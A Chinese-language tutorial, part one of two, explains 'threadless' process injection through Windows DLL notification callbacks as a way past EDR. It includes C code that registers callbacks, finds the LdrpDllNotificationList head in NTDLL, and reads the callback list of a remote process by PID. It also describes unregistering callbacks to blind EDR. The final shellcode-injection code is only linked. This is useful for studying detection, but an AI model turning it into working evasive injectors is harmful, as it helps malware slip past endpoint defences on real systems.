玄 - 利用DLL通知回调函数注入shellcode（上）
序
偶然看到某国外大佬发布新技术-“Threadless”进程注入技术，据说可过EDR（确实可），总结该技术原理 - 在远程目标进程中利用DLL通知回调机制执行shellcode，项目地址在这里。
传统进程注入四步法：
- 获取远程进程句柄（OpenProcess函数）
- 在远程进程中分配内存（VirtualAllocEx函数）
- 将shellcode复制到远程进程中新分配的内存页中（WriteProcessMemory函数）
- 在远程进程中创建线程执行shellcode（CreateRemoteThread函数）
杀毒软件和EDR产品已经学会通过快速查找这四步操作来概括并检测进程注入。
针对第四步执行shellcode方式，@CCob与@Kudaes相继提出新加载技术 - ThreadlessInject。原理上基本一致，Hook并修改远程进程中线程创建与销毁过程中DLL加载的入口点，进而加载我们的shellcode。下面我们逐步剖析学习一下该技术手段。
什么是DLL Notification Callbacks？
在 Windows 操作系统中，当一个 DLL（动态链接库）被加载或卸载时，系统会调用一个预先注册的回调函数来通知应用程序。在Windows用户态下，通常使用LdrRegisterDllNotification函数来注册回调函数。
ps:Windows中除了通过上述API函数注册回调函数，还有PsSetLoadImageNotifyRoutine函数，该函数允许驱动程序注册一个回调函数，当驱动程序映像或用户映像（DLL、EXE）被映射到虚拟内存中时，系统会调用此回调函数。注意，PsSetLoadImageNotifyRoutine函数只能在内核态下使用
很遗憾，在微软官方文档中没有关于LdrDllNotification函数的详细资料，只有大致介绍
ps:通常，一些EDR产品也是使用此函数在用户态下从加载DLL事件中获取监测数据。在@onlymalware截取的这段代码中，可以看到作为攻击方，应如何在自己的进程中取消注册所有LdrDllNotification回调函数，从而限制EDR从我们的进程中收集样本数据。
回归正题，LdrRegisterDllNotification函数方法没有相关联的头文件，但是可以通过LoadLibrary和GetProcAddress进行导入。
另外，通过查阅@modexp文章了解到，还需要自己实现函数及其所有相关数据结构，以下是构造的简单示例代码：
#include <Windows.h>
#include <stdio.h>
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA {
ULONG Flags; // Reserved.
PUNICODE_STR FullDllName; // The full path name of the DLL module.
PUNICODE_STR BaseDllName; // The base file name of the DLL module.
PVOID DllBase; // A pointer to the base address for the DLL in memory.
ULONG SizeOfImage; // The size of the DLL image, in bytes.
} LDR_DLL_LOADED_NOTIFICATION_DATA, * PLDR_DLL_LOADED_NOTIFICATION_DATA;
typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA {
ULONG Flags; // Reserved.
PUNICODE_STR FullDllName; // The full path name of the DLL module.
PUNICODE_STR BaseDllName; // The base file name of the DLL module.
PVOID DllBase; // A pointer to the base address for the DLL in memory.
ULONG SizeOfImage; // The size of the DLL image, in bytes.
} LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA;
typedef union _LDR_DLL_NOTIFICATION_DATA {
LDR_DLL_LOADED_NOTIFICATION_DATA Loaded;
LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;
} LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION_DATA;
typedef VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION)(
ULONG NotificationReason,
PLDR_DLL_NOTIFICATION_DATA NotificationData,
PVOID Context);
typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;
typedef NTSTATUS(NTAPI* _LdrRegisterDllNotification) (
ULONG Flags,
PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,
PVOID Context,
PVOID* Cookie);
typedef NTSTATUS(NTAPI* _LdrUnregisterDllNotification)(PVOID Cookie);
// 回调函数
VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
}
int main()
{
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
if (hNtdll != NULL) {
// 找到 LdrUnregisterDllNotification函数地址
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
// 将MyCallback函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered callback\n");
}
//字符中断
printf("[+] Press enter to continue\n");
getchar();
// 加载其他dll来触发回调函数
printf("[+] Loading USER32 DLL now\n");
LoadLibraryA("USER32.dll");
}
}
ps：普及下基础知识，为什么要获取ntdll.dll的句柄？是为了找到 LdrRegisterDllNotification 函数的地址，有且只有 ntdll.dll 库中有 LdrRegisterDllNotification 函数。
运行截图：
上述代码作用大致解释为利用LoadLibraryA("USER32.dll") 加载 USER32.dll 库，触发 DLL 通知回调函数，也就是上面注册的 MyCallback 函数。MyCallback函数将打印出 DLL 的基本名称。
注意：图中出现多个dll加载回调结果是因为 USER32.dll 库依赖于其他 DLL 库，所以在加载 USER32.dll 库时，也会同时加载它所依赖的其他 DLL 库。这些 DLL 库也会触发 DLL 通知回调函数，并打印出它们的基本名称到控制台，所以除了 USER32.dll 的基本名称之外，还打印出了其他 DLL 库的基本名称。
注册自定义回调函数
在当前进程中操纵注册自己的DLL通知回调函数，首先要找到它在内存中的位置。 查阅函数定义，获取的唯一返回值（除了 NTSTATUS）是一个指向Cookie的指针，与LdrUnregisterDllNotification的Cookie一样（LdrUnregisterDllNotification函数是帮助我们删除特定的回调函数）。
关于Cookie指针的解释：Cookie指针实际上是一个指向LDR_DLL_NOTIFICATION_ENTRY的指针，它保存了与我们注册的回调函数相关的所有数据，包括指向回调函数本身的指针和指向回调函数上下文的指针（在本例中未使用）。 _LDR_DLL_NOTIFICATION_ENTRY还包含一个LIST_ENTRY结构，该结构指向进程中注册的其余回调函数。
LdrpDllNotificationList Cookie
│ │
▼ ▼
┌─────┐ ┌────────────────────┐ ┌────────────────────┐ ┌───┐ ┌────────────────────┐
┌──►│Flink├─►│Flink ├─►│Flink ├─►│ ├─►│Flink ├───┐
│ ├─────┤ ├────────────────────┤ ├────────────────────┤ │...│ ├────────────────────┤ │
│ ┌─┤Blink│◄─┤Blink │◄─┤Blink │◄─┤ │◄─┤Blink │◄┐ │
│ │ └─────┘ ├────────────────────┤ ├────────────────────┤ └───┘ ├────────────────────┤ │ │
│ │ │NotificationFunction│ │NotificationFunction│ │NotificationFunction│ │ │
│ │ ├────────────────────┤ ├────────────────────┤ ├────────────────────┤ │ │
│ │ │Context │ │Context │ │Context │ │ │
│ │ └────────────────────┘ └────────────────────┘ └────────────────────┘ │ │
│ └────────────────────────────────────────────────────────────────────────────────────────┘ │
└────────────────────────────────────────────────────────────────────────────────────────────┘
：）继续普及基础知识：进程中已注册的所有回调函数都存储在LdrpDllNotificationList（双向链表）中，并通过指向上一个和下一个回调的LIST_ENTRY结构体链接在一起。其中每个节点代表一个 DLL 通知，每个节点包含有关 DLL 模块、通知类型（例如 DLL 加载、卸载）等信息。当一个 DLL 被加载或卸载时，系统会遍历这个链表，并调用其中的每个回调函数，以通知应用程序有关 DLL 加载或卸载的信息。这个链表中的每个节点都是一个 LDR_DLL_NOTIFICATION_ENTRY 类型的结构体，它包含两个成员：List 和 NotificationFunction。其中，List 是一个 LIST_ENTRY 类型的结构体，用于将节点链接到链表中。NotificationFunction 是一个指向回调函数的指针，它指定了当 DLL 加载或卸载时要调用的函数。
完整流程解释：在当前进程中使用 LdrRegisterDllNotification 函数注册一个 DLL 通知回调函数时，这个函数会在 LdrpDllNotificationList 链表中添加一个新节点，并将其 NotificationFunction 成员设置为自定义的回调函数。当 DLL 加载或卸载时，系统会遍历这个双向链表，并调用其中的每个回调函数。
这类似于 PEB 中InMemoryOrderModuleList的双向链表，当我们想避免调用GetModuleHandle和GetProcAddress时，有时会尝试通过这个方法来查找已加载的 DLL 和导出的函数。需要注意的是LdrpDllNotificationList头部位于 NTDLL 的 .data 数据段。
掌握这些前置知识，就可以注册一些 DLL 通知回调，将Cookie指针指向LDR_DLL_NOTIFICATION_ENTRY结构体，然后顺序遍历双向链表即可。
VOID MyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MyCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
}
//添加第二个回调函数
VOID MySecondCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
printf("[MySecondCallback] dll loaded: %Z\n", NotificationData->Loaded.BaseDllName);
}
int main()
{
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
if (hNtdll != NULL) {
// 找到 LdrUnregisterDllNotification函数地址
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
// 将MyCallback函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered first callback\n");
}
// 注册第二个回调函数
status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)MySecondCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered second callback\n");
}
// 列出当前进程的DLL通知列表回调
printf("[+] DLL Notification List:\n");
// The head of the list is the next link in the chain
// since our callback is the last callback in the list
PLIST_ENTRY head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
PLDR_DLL_NOTIFICATION_ENTRY entry = (PLDR_DLL_NOTIFICATION_ENTRY)head;
do {
// 打印LDR_DLL_NOTIFICATION_ENTRY及其回调函数的地址
printf(" %p -> %p\n", entry, entry->Callback);
// Iterate to the next callback in the list
entry = (PLDR_DLL_NOTIFICATION_ENTRY)entry->List.Flink;
} while ((PLIST_ENTRY)entry != head); // 当我们再次遍历到列表的头部时停止
printf("\n");
}
}
在上面的代码中，我们注册了两个不同的 DLL 通知回调函数，然后迭代双向链表，同时打印列表中的每个entry条目。
运行结果如图：
操刀NTDLL注册回调函数
掌握了如何在进程中迭代 LdrpDllNotificationList（双向链表），需要一种可靠的方法来找到链表的头部。
// 回调函数
VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
return;
}
// 获取 LdrpDllNotificationList头部地址
PLIST_ENTRY GetDllNotificationListHead() {
PLIST_ENTRY head = 0;
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
if (hNtdll != NULL) {
// 找到LdrRegisterDllNotification函数
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
// 找到 LdrUnregisterDllNotification函数
_LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification");
// 将回调函数注册为 DLL 通知回调
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered dummy callback\n");
// Cookie is the last callback registered so its Flink holds the head of the list.
head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
printf("[+] Found LdrpDllNotificationList head: %p\n", head);
// 卸载回调函数
status = pLdrUnregisterDllNotification(cookie);
if (status == 0) {
printf("[+] Successfully unregistered dummy callback\n");
}
}
}
return head;
}
一开始，我认为刚刚注册的回调函数会在双向链表的最后一个条目中，然后双向链表的头地址必然位于其 List.Flink 指针中，因为在双向链表中最后一个条目应该始终指向第一个条目，从而关闭某种循环。虽然上述代码可以运行，但它会出现条件竞争问题，即另一个线程也可能在我们获取到指向链表头部的指针前注册自己的DLL通知回调。
不过，请注意运行输出结果的第一个条目和第二个条目的地址，链表（又名LdrpDllNotificationList）的头部位于完全不同的内存空间中。如果查看这部分内存空间，会发现它恰好在 NTDLL 的 .data 数据段上。我们可以在main函数中加入以下代码，获取内存中NTDLL的 .data数据段所在的起始地址：
MEMORY_BASIC_INFORMATION mbi;
if (VirtualQuery(hNtdll, &mbi, sizeof(mbi)) != 0) {
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)(pNtHeaders + 1);
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)pSectionHeader->Name, ".data") == 0) {
printf("ntdll.dll .data section address: %p\n", (PBYTE)hNtdll + pSectionHeader->VirtualAddress);
break;
}
pSectionHeader++;
}
}
因此，为了准确无误地获取 LdrpDllNotificationList 的头部，我们在迭代链表时，首次发现 NTDLL .data 部分的内存范围内有一个条目时就停止，下一节给出问题解决前后的运行对比图，代码请自行实现。
初探远程进程精准操刀
常规操作远程目标进程 - ReadProcessMemory/NtreadVirtualMemory读内存，OpenProcess/NtOpenProcess获取进程句柄，但是我们从哪里开始读取呢？
答：LdrpDllNotificationList头地址位于 NTDLL 的 .data 数据段中，而每个进程都会从磁盘上一模一样的加载 NTDLL.dll，因此 LdrpDllNotificationList头地址也是位于每个进程中的相同位置（相对于 NTDLL 的基地址）。
所以，先在自己当前进程中检查NTDLL的基址，再获取内存中LdrpDllNotificationList头地址，计算出偏移量同时获取目标进程的NTDLL基准地址，最后在远程目标进程中将相同的偏移量累加至NTDLL基址上，即可获取到远程进程的LdrpDllNotificationList头地址，演示代码如下：
#include <Windows.h>
#include <stdio.h>
#include "nt.h"
#include <cstdint>
// Our callback function
VOID DummyCallback(ULONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData, PVOID Context)
{
return;
}
PLIST_ENTRY GetDllNotificationListHead() {
PLIST_ENTRY head = 0;
// 获取NTDLL句柄
HMODULE hNtdll = GetModuleHandleA("NTDLL.dll");
if (hNtdll != NULL) {
// find LdrRegisterDllNotification function
_LdrRegisterDllNotification pLdrRegisterDllNotification = (_LdrRegisterDllNotification)GetProcAddress(hNtdll, "LdrRegisterDllNotification");
// find LdrUnregisterDllNotification function
_LdrUnregisterDllNotification pLdrUnregisterDllNotification = (_LdrUnregisterDllNotification)GetProcAddress(hNtdll, "LdrUnregisterDllNotification");
// Register our dummy callback function as a DLL Notification Callback
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0, (PLDR_DLL_NOTIFICATION_FUNCTION)DummyCallback, NULL, &cookie);
if (status == 0) {
printf("[+] Successfully registered dummy callback\n");
// Cookie is the last callback registered so its Flink holds the head of the list.
head = ((PLDR_DLL_NOTIFICATION_ENTRY)cookie)->List.Flink;
printf("[+] Found LdrpDllNotificationList head: %p\n", head);
// Unregister our dummy callback function
status = pLdrUnregisterDllNotification(cookie);
if (status == 0) {
printf("[+] Successfully unregistered dummy callback\n");
}
}
}
return head;
}
LPVOID GetNtdllBase(HANDLE hProc) {
// find NtQueryInformationProcess function
NtQueryInformationProcess pNtQueryInformationProcess = (NtQueryInformationProcess)GetProcAddress((HMODULE)GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess");
// Get the PEB of the remote process
PROCESS_BASIC_INFORMATION info;
NTSTATUS status = pNtQueryInformationProcess(hProc, ProcessBasicInformation, &info, sizeof(info), 0);
ULONG_PTR ProcEnvBlk = (ULONG_PTR)info.PebBaseAddress;
// Read the address pointer of the remote Ldr
ULONG_PTR ldrAddress = 0;
BOOL res = ReadProcessMemory(hProc, ((char*)ProcEnvBlk + offsetof(_PEB, pLdr)), &ldrAddress, sizeof(ULONG_PTR), nullptr);
// Read the address of the remote InLoadOrderModuleList head
ULONG_PTR ModuleListAddress = 0;
res = ReadProcessMemory(hProc, ((char*)ldrAddress + offsetof(PEB_LDR_DATA, InLoadOrderModuleList)), &ModuleListAddress, sizeof(ULONG_PTR), nullptr);
// Read the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
LDR_DATA_TABLE_ENTRY ModuleEntry = { 0 };
res = ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr);
LIST_ENTRY* ModuleList = (LIST_ENTRY*)&ModuleEntry;
WCHAR name[1024];
ULONG_PTR nextModuleAddress = 0;
LPWSTR sModuleName = (LPWSTR)L"ntdll.dll";
// Start the forloop with reading the first LDR_DATA_TABLE_ENTRY in the remote InLoadOrderModuleList
for (ReadProcessMemory(hProc, (LPCVOID)ModuleListAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr);
// Stop when we reach the last entry
(ULONG_PTR)(ModuleList->Flink) != ModuleListAddress;
// Read the next entry in the list
ReadProcessMemory(hProc, (LPCVOID)nextModuleAddress, &ModuleEntry, sizeof(LDR_DATA_TABLE_ENTRY), nullptr))
{
// Zero out the buffer for the dll name
memset(name, 0, sizeof(name));
// Read the buffer of the remote BaseDllName UNICODE_STRING into the buffer "name"
ReadProcessMemory(hProc, (LPCVOID)ModuleEntry.BaseDllName.pBuffer, &name, ModuleEntry.BaseDllName.Length, nullptr);
// Check if the name of the current module is ntdll.dll and if so, return the DllBase address
if (wcscmp(name, sModuleName) == 0) {
return (LPVOID)ModuleEntry.DllBase;
}
// Otherwise, set the nextModuleAddress to point for the next entry in the list
ModuleList = (LIST_ENTRY*)&ModuleEntry;
nextModuleAddress = (ULONG_PTR)(ModuleList->Flink);
}
return 0;
}
void PrintDllNotificationList(HANDLE hProc, LPVOID remoteHeadAddress) {
printf("\n");
printf("[+] Remote DLL Notification Block List:\n");
// Allocate memory buffer for LDR_DLL_NOTIFICATION_ENTRY
BYTE* entry = (BYTE*)malloc(sizeof(LDR_DLL_NOTIFICATION_ENTRY));
// Read the head entry from the remote process
ReadProcessMemory(hProc, remoteHeadAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
LPVOID currentEntryAddress = remoteHeadAddress;
do {
// print the addresses of the LDR_DLL_NOTIFICATION_ENTRY and its callback function
printf(" 0x%p -> 0x%p\n", currentEntryAddress, ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->Callback);
// Get the address of the next callback in the list
currentEntryAddress = ((PLDR_DLL_NOTIFICATION_ENTRY)entry)->List.Flink;
// Read the next callback in the list
ReadProcessMemory(hProc, currentEntryAddress, entry, sizeof(LDR_DLL_NOTIFICATION_ENTRY), nullptr);
} while ((PLIST_ENTRY)currentEntryAddress != remoteHeadAddress); // Stop when we reach the head of the list again
free(entry);
printf("\n");
}
int main()
{
// Get local LdrpDllNotificationList head address
LPVOID localHeadAddress = (LPVOID)GetDllNotificationListHead();
printf("[+] Local LdrpDllNotificationList head address: 0x%p\n", localHeadAddress);
// Get local NTDLL base address
HANDLE hNtdll = GetModuleHandleA("NTDLL.dll");
printf("[+] Local NTDLL base address: %p\n", hNtdll);
// calculate the offset of LdrpDllNotificationList from NTDLL base
int64_t offsetFromBase = (BYTE*)localHeadAddress - (BYTE*)hNtdll;
printf("[+] LdrpDllNotificationList offset from NTDLL base: 0x%IX\n", offsetFromBase);
// Open handle to remote process
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 4764);
printf("[+] Got handle to remote process\n");
// Get remote NTDLL base address
LPVOID remoteNtdllBase = GetNtdllBase(hProc);
LPVOID remoteHeadAddress = (BYTE*)remoteNtdllBase + offsetFromBase;
printf("[+] Remote LdrpDllNotificationList head address 0x%p\n", remoteHeadAddress);
// Print the remote Dll Notification List
PrintDllNotificationList(hProc, remoteHeadAddress);
}
操刀远程进程弹计算器
上一节只是读取了远程目标进程的双向链表，这节编写代码操纵目标进程内存执行shellcode。但是，首先依然需要深入了解LDR_DLL_NOTIFICATION_ENTRY结构体，特别是其LIST_ENTRY的属性。
typedef struct _LIST_ENTRY {
struct _LIST_ENTRY *Flink;
struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;
typedef struct _LDR_DLL_NOTIFICATION_ENTRY {
LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;
PVOID Context;
} LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION_ENTRY;
每个_LDR_DLL_NOTIFICATION_ENTRY条目都有一个属性 List，而 List属性本身就是一个LIST_ENTRY类型的结构，继续套娃，LIST_ENTRY又有两个属性：
- 1.Flink（Forward Link,前向链），保存指向list中下一个entry条目的指针
- 2.Blink（Backward Link,后向链），保存指向list中上一个entry条目的指针
当使用LdrRegisterDllNotification注册回调函数时，实际调用过程如下：
1.为新创建的entry条目分配一个新的 LDR_DLL_NOTIFICATION_ENTRY 结构
2.设置Callback属性为指向我们自定义的回调函数
3.设置Context属性为指向所提供的上下文（如果有的话）
4.设置List.Blink属性为指向LdrpDllNotificationList中最后一个LDR_DLL_NOTIFICATION_ENTRY条目
5.更改在LdrpDllNotificationList中最后一个 LDR_DLL_NOTIFICATION_ENTRY 条目的List.Flink属性为指向我们新创建的entry条目
6.设置List.Flink属性为指向LdrpDllNotificationList的头部（双向链表中的最后一个链接应始终指向列表的头部）。
7.更改LdrpDllNotificationList头的List.Blink属性为指向我们新创建的条目
这是关于双向链接列表的演示图，不过有一点区别是，在我们的示例中，列表的头部和尾部也连接起来，这就是所谓的循环双向链表。
最终的演示代码在这里，编译时需要自己手动填写shellcode并改写目标进程的PID。
结果图如下，在最终代码中，注入新创建的LDR_DLL_NOTIFICATION_ENTRY到远程进程中，触发执行调用calc的shellcode。
本文到此已经初步阐明该技术手段的基本原理，后续进一步了解如何利用该技术手段调试稳定运行恶意shellcode，请转至《利用DLL通知回调函数注入shellcode（下）》
